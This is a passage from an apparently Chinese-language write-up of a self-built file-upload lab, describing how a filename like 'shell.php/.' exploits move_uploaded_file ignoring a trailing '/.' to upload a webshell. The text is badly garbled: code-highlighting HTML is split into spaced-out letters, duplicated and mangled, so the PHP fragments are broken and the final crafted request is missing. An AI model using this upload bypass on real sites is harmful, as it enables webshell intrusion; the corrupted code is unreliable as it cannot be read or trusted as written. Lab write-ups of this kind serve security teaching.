a n d " a r i a − h i d d e n = " t r u e " > < / i > < d i v c l a s s = " c o d e c o p y n o t i c e " > < / d i v > < i c l a s s = " f a s f a − c o p y c o d e c o p y " t i t l e = " 复 制 代 码 " a r i a − h i d d e n = " t r u e " > < / i > < d i v c l a s s = " c o d e l a n g " t i t l e = " 代 码 语 言 " > p h p < / d i v > < p r e c l a s s = " l i n e − n u m b e r s l a n g u a g e − p h p " d a t a − l a n g u a g e = " p h p " > < c o d e c l a s s = " l a n g u a g e − p h p " > < s p a n c l a s s = " t o k e n f u n c t i o n " > m o v e u p l o a d e d f i l e < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > file</span><span class="token punctuation">[</span><span class="token number">2</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'shell.php/'</span><span class="token operator">.</span><span class="token string single-quoted-string">''</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'shell.php/.'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre></div><p>这样最后一步：</p><div class="code-area" style="position: relative"><i class="fas fa-angle-up code-expand" aria-hidden="true"></i><div class="codecopy_notice"></div><i class="fas fa-copy code_copy" title="复制代码" aria-hidden="true"></i><div class="code_lang" title="代码语言">php</div><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token function">move_uploaded_file</span><span class="token punctuation">(</span><span class="token variable"> file</span><spanclass="tokenpunctuation">[</span><spanclass="tokennumber">2</span><spanclass="tokenoperator">−</span><spanclass="tokennumber">1</span><spanclass="tokenpunctuation">]</span><spanclass="tokenpunctuation">;</span><spanclass="tokenoperator">=</span><spanclass="tokenstringsingle−quoted−string">′shell.php/′</span><spanclass="tokenoperator">.</span><spanclass="tokenstringsingle−quoted−string">′′</span><spanclass="tokenoperator">=</span><spanclass="tokenstringsingle−quoted−string">′shell.php/.′</span><spanaria−hidden="true"class="line−numbers−rows"><span></span><span></span></span></code></pre></div><p>这样最后一步：</p><divclass="code−area"style="position:relative"><iclass="fasfa−angle−upcode−expand"aria−hidden="true"></i><divclass="codecopyn​otice"></div><iclass="fasfa−copycodec​opy"title="复制代码"aria−hidden="true"></i><divclass="codel​ang"title="代码语言">php</div><preclass="line−numberslanguage−php"data−language="php"><codeclass="language−php"><spanclass="tokenfunction">moveu​ploadedf​ile</span><spanclass="tokenpunctuation">(</span><spanclass="tokenvariable">temp_file,  i m g p a t h < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ) < / s p a n > < s p a n c l a s s = " t o k e n f u n c t i o n " > m o v e u p l o a d e d f i l e < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > img_path</span><span class="token punctuation">)</span> <span class="token function">move_uploaded_file</span><span class="token punctuation">(</span><span class="token variable"> imgp​ath</span><spanclass="tokenpunctuation">)</span><spanclass="tokenfunction">moveu​ploadedf​ile</span><spanclass="tokenpunctuation">(</span><spanclass="tokenvariable">temp_file, ‘xx/xx/shell/php/.’)  




结合前面的 move_uploaded_file 函数缺陷，会忽略掉文件末尾的 /.，所以最终就可以成功将 webshell 上传。


那么最终构造的数据包如下：



    



支持一下


目前文件上传的靶场一共 13 个关卡，自己从靶场开发到编写 WP 也耗时了好几天时间，不过每次总结整理这些的熟悉又陌生的知识点感觉都会有新的发现 ：



    

												


											

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